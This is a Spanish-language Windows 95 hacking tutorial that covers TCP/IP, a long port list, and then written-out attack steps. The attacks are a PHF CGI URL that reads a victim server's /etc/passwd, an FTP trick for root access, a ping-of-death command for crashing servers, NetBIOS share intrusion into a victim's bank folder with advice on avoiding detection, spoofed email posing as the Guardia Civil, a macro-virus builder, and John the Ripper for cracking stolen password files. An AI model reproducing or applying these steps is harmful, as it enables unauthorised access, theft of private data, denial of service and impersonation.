Como has podido comprobar en realidad son 2 protocolos pero que estan unidos, el primero o sea el TCP es el encargado de las comunicaciones y de la transmision de los paquetes cuando estamos conectados a un servidor. El IP es el encargado de que los paquetes llegen a destino por orden aunque tomen caminos diferentes.

* Diagrama del TCP *

cliente -> El cliente le envia una -> servidor

solicitud de conexion

espeficicando el puerto

de conexion al servidor.

cliente <- El servidor le responde <- servidor

que conoce su peticion

de conexion.

cliente -> El cliente le devuelve <- servidor

otra vez la peticion y

el circuito ya esta

abierto.

* Diagrama del IP *

³Informacion general³Direccion IP³Direccion IP³Datos³

³de cabezera. ³de origen ³de destino. ³ ³

Pues aqui se acaba la explicacion basica de este protocolo, para el que este interesado en profundizar le remito a que se pille el RFC 1180 o un fichero disponible en multitud de servidores, desgraciadamente no te puede asegurar el nombre del fichero ya que lo he encontrado de varias formas pero te dare el nombre que aparece al editarlo, ya que en todos es igual:

Introduction

to

the Internet Protocols

C R

C S

Computer Science Facilities Group

C I

L S

RUTGERS

The State University of New Jersey

3 July 1987

3a. Puertos

Antes ya os he explicado muy brevemente la comunicacion del protocolo en cuestion. Pues ahora os pongo una extensa lista sobre los distintos puertos y sus servicios correspondientes.

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

qotd 17/tcp quote

qotd 17/udp quote

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp mail

time 37/tcp timserver

time 37/udp timserver

rlp 39/udp resource # resource location

name 42/tcp nameserver

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/tcp nameserver # name-domain server

domain 53/udp nameserver

nameserver 53/tcp domain # name-domain server

nameserver 53/udp domain

mtp 57/tcp # deprecated

bootp 67/udp # boot program server

tftp 69/udp

rje 77/tcp netrjs

finger 79/tcp

link 87/tcp ttylink

supdup 95/tcp

hostnames 101/tcp hostname # usually from sri-nic

iso-tsap 102/tcp

dictionary 103/tcp webster

x400 103/tcp # ISO Mail

x400-snd 104/tcp

csnet-ns 105/tcp

pop 109/tcp postoffice

pop2 109/tcp # Post Office

pop3 110/tcp postoffice

portmap 111/tcp

portmap 111/udp

sunrpc 111/tcp

sunrpc 111/udp

auth 113/tcp authentication

sftp 115/tcp

path 117/tcp

uucp-path 117/tcp

nntp 119/tcp usenet # Network News Transfer

ntp 123/udp ntpd ntp # network time protocol (exp)

nbname 137/udp

nbdatagram 138/udp

nbsession 139/tcp

NeWS 144/tcp news

sgmp 153/udp sgmp

tcprepo 158/tcp repository # PCMAIL

snmp 161/udp snmp

snmp-trap 162/udp snmp

print-srv 170/tcp # network PostScript

vmnet 175/tcp

load 315/udp

vmnet0 400/tcp

sytek 500/udp

biff 512/udp comsat

exec 512/tcp

login 513/tcp

who 513/udp whod

shell 514/tcp cmd # no passwords used

syslog 514/udp

printer 515/tcp spooler # line printer spooler

talk 517/udp

ntalk 518/udp

efs 520/tcp # for LucasFilm

route 520/udp router routed

timed 525/udp timeserver

tempo 526/tcp newdate

courier 530/tcp rpc

conference 531/tcp chat

rvd-control 531/udp MIT disk

netnews 532/tcp readnews

netwall 533/udp # -for emergency broadcasts

uucp 540/tcp uucpd # uucp daemon

klogin 543/tcp # Kerberos authenticated rlogin

kshell 544/tcp cmd # and remote shell

new-rwho 550/udp new-who # experimental

remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem

rmonitor 560/udp rmonitord # experimental

monitor 561/udp # experimental

garcon 600/tcp

maitrd 601/tcp

busboy 602/tcp

acctmaster 700/udp

acctslave 701/udp

acct 702/udp

acctlogin 703/udp

acctprinter 704/udp

elcsd 704/udp # errlog

acctinfo 705/udp

acctslave2 706/udp

acctdisk 707/udp

kerberos 750/tcp kdc # Kerberos authentication--tcp

kerberos 750/udp kdc # Kerberos authentication--udp

kerberos_master 751/tcp # Kerberos authentication

kerberos_master 751/udp # Kerberos authentication

passwd_server 752/udp # Kerberos passwd server

userreg_server 753/udp # Kerberos userreg server

krb_prop 754/tcp # Kerberos slave propagation

erlogin 888/tcp # Login and environment passing

kpop 1109/tcp # Pop with Kerberos

phone 1167/udp

ingreslock 1524/tcp

maze 1666/udp

nfs 2049/udp # sun nfs

knetd 2053/tcp # Kerberos de-multiplexor

eklogin 2105/tcp # Kerberos encrypted rlogin

rmt 5555/tcp rmtd

mtb 5556/tcp mtbd # mtb backup

man 9535/tcp # remote man server

w 9536/tcp

mantst 9537/tcp # remote man server, testing

bnews 10000/tcp

rscs0 10000/udp

queue 10001/tcp

rscs1 10001/udp

poker 10002/tcp

rscs2 10002/udp

gateway 10003/tcp

rscs3 10003/udp

remp 10004/tcp

rscs4 10004/udp

rscs5 10005/udp

rscs6 10006/udp

rscs7 10007/udp

rscs8 10008/udp

rscs9 10009/udp

rscsa 10010/udp

rscsb 10011/udp

qmaster 10012/tcp

qmaster 10012/udp

La verdad es que no te quejaras de esta lista. Si quieres mas informacion sobre los puertos con su debida explicacion mirate el RFC 1060.

3b. Ftp.

Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol o sea Protocolo de Transferencia de Ficheros y como podras observar en el listado de los puertos al FTP le corresponde el 21. Este servicio hay que conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros tambien nos puede ayuda en nuestros propositos , por supuesto el hacking.

Sino dispones de ningun cliente FTP, el propio win95 lleva incorporado uno, el unico problema es que no es muy vistoso ya que funciona en modo MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y se pondra en modo FTP. Un ejemplo seria esto:

c:\>ftp <- Escribimos FTP.

ftp> <- activado el modo FTP.

Si no sabes manejarlo, escribiendo un "?" o "help" saldran todos los comandos disponibles del FTP, como no viene a cuento no los explicare pero buscando por hay podras hallar informacion de lo que hace cada cosa pero lo mejor es que lo averigues tu solito.

3c. Telnet.

Por suerte los usuarios de win95 con el telnet tienen mas suerte o menos segun se mire, ya que el servico de Telnet de win95 que tambien esta incorporado en el sistema, es muy facil de manejar y ademas tiene ventana propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que tenemos que hacer es ir al menu en la opcion "conectar" y dentro de aquí la de "sistema remoto", entonces se activara otra ventana en la que nos saldra tres opciones, la primera "nombre de host" es donde queremos conectar, "puerto" a que puerto conectamos, por defecto el 23 y por ultimo tenemos "tipo de terminal" que no hace falta cambiarlo.

El telnet es importante ya que es asi como entramos a una cuenta en un servidor y podremos hacer lo que tengamos permitido en el sistema.

Logicamente entraremos en una cuenta si tenemos el login y password.

4. Hacking Basico En Windows.

Por fin ya se a acabo el latazo de la explicacion de como moverse por win95. Ahora ya podemos empezar a jugar un poco por inet , siempre por puro placer pero jamas con malos fines.

En esta seccion os explicare varias maneras de hacking usando el win95 a pelo o sea sin utilizar ninguna herramienta externa.

4a. Phf.

La primera tecnica ya es muy conocida y la verdad es que tendremos suerte si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay que saber buscar y tener paciencia.

Para que esto nos funcione solo tenemos que tener un navegador instalado en nuesto win95, por defecto suele venir el IE o sea que no podras decir que no tienes, siempre y cuando hallas instalado los paquetes extras.

Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que corra sobre unix (muchos). Conectamos con un servidor en cuestion, www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le añadimos:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Como ya he dicho si todo sale bien nos aparecera el fichero de passwords del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto el PHF tiene muchas variantes por eso te aconsejo que busce algo que profundice en esta tecnica al igual que tambien busce informacion sobre el fichero passwd de unix para comprenderlo.

4b. Ftp.

Antes ya te he explicado el funcionamiento del FTP de win95, ahora lo usaremos para sacer el fichero de password de un servidor. Desde una ventana del MS-DOS llamamos al programa FTP y escribimos:

ftp> open victima.com

Conect to victima.com

220 victim.com FTP server ready.

ftp> quote user ftp

331 Guest login ok, send ident as password.

ftp> quote cwd ~root

530 Please login with USER and PASS.

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.

ftp> dir (o lo que querramos)

Y como siempre es el caso si todo sale bien estaremos metidos en el sistema como root (en lenguaje unix significa el superusuario, o sea el que controla el servidor). Por desgracia esta tecnica es muy antigua por lo que mas seguro no funcionara pero todo es posible.

4c. Ping De La Muerte.

Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir Cracker para no ofender a nadie ya que unicamente sirve para tirar un servidor o sea que se desconecta de Internet y esto puede representar grandes perdidas a una empresa. Con esto solo os quiero decir que aunque aqui os lo explicare no es cuestion que lo useis por Internet atacando servidores.

La utilidad Ping sirve principalmente para saber si un servidor esta activo y ademas podemos calcular el trafico en la red segun el tiempo de su respuesta. Basicamente se le envia un paquete a un servidor y este nos contesta, solo que si se le envia un paquete muy grande puede llegar desordenado, por lo que el servidor pide al origen que le vuelva a enviar una parte o la totalidad del paquete, por lo que se produce un datagrama del ping muy grande y producira su caida. Para ejecutar este ataque solo tenemos que escribir:

c:\>ping -l 65510 victima.com

Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes de hacer tonterias leed la parte sobre seguridad de la guia.

4d. Recursos Compartidos.

Como win95 NO tiene seguridad nos permite colarnos en el disco duro de otra persona por Internet y lo mejor del caso es que esta tecnica nos la proporciona los propios programas del win95. Por supuesto no todo es tan sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala configuracion del propio usuario al no configurar adecuadamente los recursos compartidos de su red corriendo sobre win95.

Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador bien configurado, o sea el compartir recursos bien puesto y tambien tener el Netbios instalado. Para configurarlo, tenemos que tener activado la opcion de "compartir ficheros e impresoras" en MIPC->Panel de Control->Red.

SI por el caso la opcion esta desactivada simplemente pulsamos el boton de "añadir" y añadimos el servicio "Compartir ficheros e impresoras en redes Microsoft". En la misma ventana, debemos tener el "Primer inicio de sesion" en "Cliente para redes Microsoft". Tambien tiene que estar activado el "Cliente para redes Microsoft", que viene por defecto en MIPC->Acceso Telefonico a Redes->Conexion a Inet que usaremos->boton derecho-> propiedades, debiendo estar activada la casilla "conectarse a la red".

Ahora ya podemos ponernos manos a la obra, entonces volvemos a una ventana del MS-DOS y ejecutamos:

c:\>nbtstat -A (IP DE LA VICTIMA)

NetBIOS Remote Machine Name Table

Name Type Status

---------------------------------------------

VICTIMAMACHINE <00> UNIQUE Registered

VICTIMAGROUP <00> GROUP Registered

VICTIMAMACHINE <03> UNIQUE Registered

VICTIMAMACHINE <20> UNIQUE Registered

VICTIMAGROUP <1e> GROUP Registered

MAC Address = 44-45-53-54-00-00

Cuando ejecutamos este comando nos saldra una tabla como esta y el primer 'UNIQUE' de tipo <00> es el nombre de la victima y como puedes ver la maquina se llama VICTIMAMACHINE.

Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP y el nombre de la maquina en cuestion, esto seria de la siguiente forma:

c:\>edit c:\windows\system32\LMHOSTS

VICTIMAMACHINE

Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos un comando para añadir el ordenador de la victima a nuestro Netbios y esto seria de la siguiente forma:

c:\>NBTSTAT -R

Ahora nos interesa saber que recursos comparte la victima y esto tampoco nos traera complicacion alguna:

c:\>net view \\VICTIMAMACHINE

Shared resources at \\VICTIMAMACHINE

Sharename Type Comment

-----------------------------------------

BANCO Disk

Y como podemos observar comparte una carpeta llamada BANCO.

Ahora ya podemos operar como si fuese una terminal mas en nuestra red local sobre win95. Ya solo nos queda ejecutar el comando que querramos, si por ejemplo queremos ver el contenido, solo tenemos que escribir:

c:\> dir \\VICTIMAMACHINE\BANCO

O para leer cualquier fichero de la carpeta:

c:\> type \\VICTIMAMACHINE\BANCO\CUENTABANCARIA.TXT

Si queremos conectar al recurso compartido de forma grafica (o sea con una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible si hemos añadido la VICTIMAMACHINE a una unidad de red a la que podamos llamar, deberemos ejecutar:

c:\>NET USE e: \\MIPC\WINDOWS

Esta tecnica solo funciona si la maquina remota ejecuta win95 o win 3.11 y ademas comparte las carpetas sin contrase¤a en modo "Acceso a nivel compartido" MIPC->Panel de control->Red | Control de acceso. Si utilizase el "Acceso a nivel de usuario" nuestro grupo debe estar autorizado en esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina para que este autorizada, esto lo conseguiremos con el Regedit, por desgracia los sistemas win95 y OSR2 que estan ejecutando el Servidor Web Personal de Microsoft desactivan esta posibilidad de acceso remoto tras informar de la conveniencia de hacerlo al usuario, ya que el servidor web obliga a compartir carpetas aun sin tener red local.

Logicamente un usuario que haya tenido el despiste de conectarse a Internet con carpetas compartidas no toma luego medidas de control sobre quien entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser pillados si por ejemplo un usuario ejecuta el programa Netwatch, que muestra los usuarios conectados a nuestra computadora en cada momento y por supuesto el nombre de las computadoras por lo que es aconsejable cambiar el nombre de nuestra computadora usando el Regedit. Si nuestra maquina se llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con el Regedit a un nombre menos sospechoso.

Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se dara cuenta de nuestra entrada. Tambien hay que decir que si la VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo "hay otros usuarios conectados a su ordenador, si apaga se desconectaran" si ocurre esto seremos pillados.

4e. Fake Mail Con El Telnet.

Esta tecnica nos ayuda a suplantar la direccion de correo electronica que querramos . La verdad es que tiene pocos usos, en mi opinion debido a una serie de razones pero siempre puede servir para gastar una buena broma enviando aun amigo un mail del director de la Universidad diciendo que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la Guardia Civil.

La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar unas ciertas medidas de seguridad, que ya explicare luego. Lo primero que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del Telnet ya lo explique mas arriba) y donde pone "puerto" en vez de poner el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos a que nos conectemos a ese puerto, cuando conectemos nos saldra un mensaje y esta esperando a que pulsemoa alguna tecla:

220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)

[d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT)

Muchas veces lo que podemos hacer es escribir "help" y saldran todos los comandos, tambien podemos escribir "echo" y la maquina nos contestara que esta lista. Para escribir un mail hay que seguir una serie de pasos:

mail from:gc.uco@mad.servicom.es <- ponemos de donde viene.

El servidor nos contesta:

250 ... Sender Okay

Ahora escribimos:

rcpt to:nob_ody@xxxxxxxx.com <- a quien se lo enviamos.

El servidor nos contesta:

250 ... Recipiant Okay

Ahora escribimos:

data

El servidor nos contesta:

354 Enter mail, end with "." on a line by itself

Ahora escribimos:

To: nob_ody@xxxxxxxx.com

From: gc.uco@mad.servicom.es

Subject: Te querremos!!

Bueno nobody, solo te queremos decir que nos gusta tu trabajo y te

querremos fichar para el departamento.

Direccion General de

la Guardia Civil

. <- para terminar el mail.

El servidor nos contesta:

250 Mail accepted

Ahora escribimos:

quit <- ya esta todo listo

Pues ves como es realmente simple!! Pero antes de empezar a jugar con esta tecnica tenemos que asegurarnos que el servidor de mail no regrista nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet sobre servidores que permiten hacer esto.

4f. Cambiando El Entorno.

Esta tecnica no es que sea propia del hacking ya que solo sirve para cambiar la pantalla de inicio o la de finalizar windows. Los logos de windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros con extension SYS pero siguen siendo realmente BMP'S.

El logo del principio de windows (ya sabes el de las nubes) lo podeis encontrar como:

c:\>logo.sys

Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro grafico y si lo volvemos a quitar, usara el de siempre. El logo del final (cuando cierra windows) esta en el directorio windows y lo podemos encontrar como:

c:\windows>logos.sys

Logicamente es obligatorio que los graficos que querramos sustituir tengan de tama¤o 320x400 y sean ficheros BMP'S. Conviene que les pongamos el atributo de ocultos, que esto se hace con el comando Attrib, por ejemplo:

c:\windows>attrib +h logos.sys <- lo oculta.

c:\windows>attrib -h logos.sys <- lo hace visible.

4g. Finger.

La utilidad Finger, muy usada en Unix, en realidad no esta disponible en Win95 pero como somos Hackers nosotros si que somos capaces desde Win95.

Finger se utiliza para obtener informacion de un servidor. Puede parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los Login's de los usuarios y empezar a adivinar sus passwords, tambien podemos vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la ultima vez que estuvo, etc...) y asi muchas cosas.

La verdad es que para usar el Finger usaremos cualquier navegador, IE o Netscape. Simplemete nos dirigimos a un url un poco especial, es un web que permite hacer Finger a cualquier host y nos deveulve los resultados. Esto se conoce como "Finger Gateway". El url del web es:

http://www.hgp.med.umich.edu/cgi-bin/finger

4h. Whois.

La utilidad Whois, al igual que Finger es muy comun en Unix y no esta disponible en Win95 pero comos somos asi de listos saldremos del apuro.

Tambien sirve para pedir informacion de un servidor pero no el igual que Finger, ya que se diferencian en el tipo de informacion, el finger se suele utilizar mucho para buscar direcciones de correo mientras que el Whois, para averiguar informacion sobre un servidor en concreto.

Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un host muy especial:

c:\>telnet whois.internic.net

Por supuesto Internic, una empresa privada norte ameriacana que se encarga de controlar los dominios de Internet, y podemos usar su base de datos para pedir informacion sobre un servidor.

Cuando conectemos a la base de datos de Internic, escribimos "Whois nombre_del_servidor" y nos sacara la informacion.

telnet InterNIC > whois aol.com

Connecting to the rs Database . . . . . .

Connected to the rs Database

America Online (AOL-DOM)

12100 Sunrise Valley Drive

Reston, Virginia 22091

USA

Domain Name: AOL.COM

Administrative Contact:

O'Donnell, David B (DBO3) PMDAtropos@AOL.COM

703/453-4255 (FAX) 703/453-4102

Technical Contact, Zone Contact:

America Online (AOL-NOC) trouble@aol.net

703-453-5862

Billing Contact:

Barrett, Joe (JB4302) BarrettJG@AOL.COM

703-453-4160 (FAX) 703-453-4001

Record last updated on 13-Mar-97.

Record created on 22-Jun-95.

Domain servers in listed order:

DNS-01.AOL.COM 152.163.199.42

DNS-02.AOL.COM 152.163.199.56

DNS-AOL.ANS.NET 198.83.210.28

Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto es lo que nos ha sacado Internic. Al final podemos ver los dominios asociados a AOL. Pues sencillo y muy util, el whois.

4i. Tracert.

Esta utilidad que si esta implementada en Win95, nos sirve para calcular el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos saber por cuantos servidores pasa. Muy util para sacar posibles servidores victimas si nos llaman la atencion.

Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert, a secas y nos sacara el menu de opciones disponible.

c:\>tracert

Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

Options:

-d Do not resolve addresses to hostnames.

-h maximum_hops Maximum number of hops to search for target.

-j host-list Loose source route along host-list.

-w timeout Wait timeout milliseconds for each reply.

Pues como veis, no tiene ningun misterio las opciones del Tracert, por lo que ya aprendereis su uso con la experiencia. Ahora escribimos una direccion IP cuando invocamos al Tracert, de la siguente forma:

c:\>tracert 198.83.210.28

Tracing route to dns-aol.ans.net [198.83.210.28]

over a maximum of 30 hops:

1 * * * Request timed out.

2 138 ms 145 ms 135 ms 204.134.78.201

3 212 ms 191 ms 181 ms glory-cyberport.nm.westnet.net [204.134.78.33]

4 166 ms 228 ms 189 ms enss365.nm.org [129.121.1.3]

5 148 ms 138 ms 177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]

6 284 ms 296 ms 178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]

7 298 ms 279 ms 277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]

8 238 ms 234 ms 263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]

9 301 ms 257 ms 250 ms dns-aol.ans.net [198.83.210.28]

Trace complete.

Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.

5. Utilizacion De Tools.

En esta seccion os explicare diferentes tools que podeis usar para hacking, por supuesto hay que buscarlas por Internet, no pondre el url para encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe, pero os dire como se llama el programa asi lo podras buscar ademas esto tambien te servira para que te espabiles y sepas buscar cosas por Internet.

Logicamente esta guia es para win95 y los programas que explicare seran para win95 pero tambien me veo obligado a explicar varias tools que no son de win95 propiamente sino de MS-DOS pero que son necesarias y ademas corren en modo MS-DOS de win95.

5a. Skamwerks lab version 1.1b

Este programa es un util herramienta que nos ayuda a crear de forma rapida virus macro, o sea para el Word. Tiene que estar instalado el Word para que este programa nos funcione.

Al ejecutar el programa nos aparecera una ventana con 2 botones los caules son las 2 opciones que podemos escoger "Virii Wizard" o "Advanced Users".

El "virii Wizard" es la opcion, si no sabemos muy bien como crear un virus de macro ya que nos moveremos por varios menus y crearemos un virus de forma rapida y facilmente. La otra opcion, "Advanced Users" es para aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya que podemos meter codigo Word basic directamente y asi crear un virus a nuestro gusto.

Como este no es un curso sobre virus, no me voy a enrollar sobre la utilizacion exacta del programa. En mi opinion es un buen programa, en ingles programado en C++.

5b. WaReZ! Version 95.12.31

Este programa es un cliente FTP que muestra los directorios ocultos en un servidor, util si nos metemos en algun sitio sospechoso. Como ya es costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL correctamente.

Al igual que antes tampoco hay que explicar mucho sobre este programa ya que su Interface es igual que el cliente WS_FTP que suele ser muy familiar para todos, por lo que no encontraremos mucha dificultad en su manejo.

5c. John the ripper v1.4.

Esta magnifica tool no es propiamente de win95 pero seria un pecado no hablar de ella, cuando corre sobre win95 de maravilla (bueno, dentro de lo que cabe . John, como se le conoce, sirve para crackear un fichero unix de password (el conocido etc/passwd, como ya digo aprended algo de unix).

Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer es usar el John para sacar cuentas, pero no solo basta esto sino tambien necesitamos un buen diccionario y una combinacion de suerte y paciencia.

Supongamos que ya tenemos todo (fichero passwd, John y un diccionario), entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo llamamos sin nigun parametro nos saldran un listado de opciones, esto seria asi:

c:\>john

Usage: john [flags] [passwd files]

Flags:-pwfile:[,..] specify passwd file(s)

-wordfile: -stdin wordlist mode, read words from or stdin

-rules enable rules for wordlist mode

-incremental[:] incremental mode [using john.ini entry ]

-single single crack mode

-external: external mode, using john.ini entry

-restore[:] restore session [from ]

-makechars: make a charset, will be overwritten

-show show cracked passwords

-test perform a benchmark

-users:[,..] crack this (these) user(s) only

-shells:[!][,..] crack users with this (these) shell(s) only

-salts:[!] crack salts with at least accounts only

-lamesalts assume plaintext passwords were used as salts

-timeout: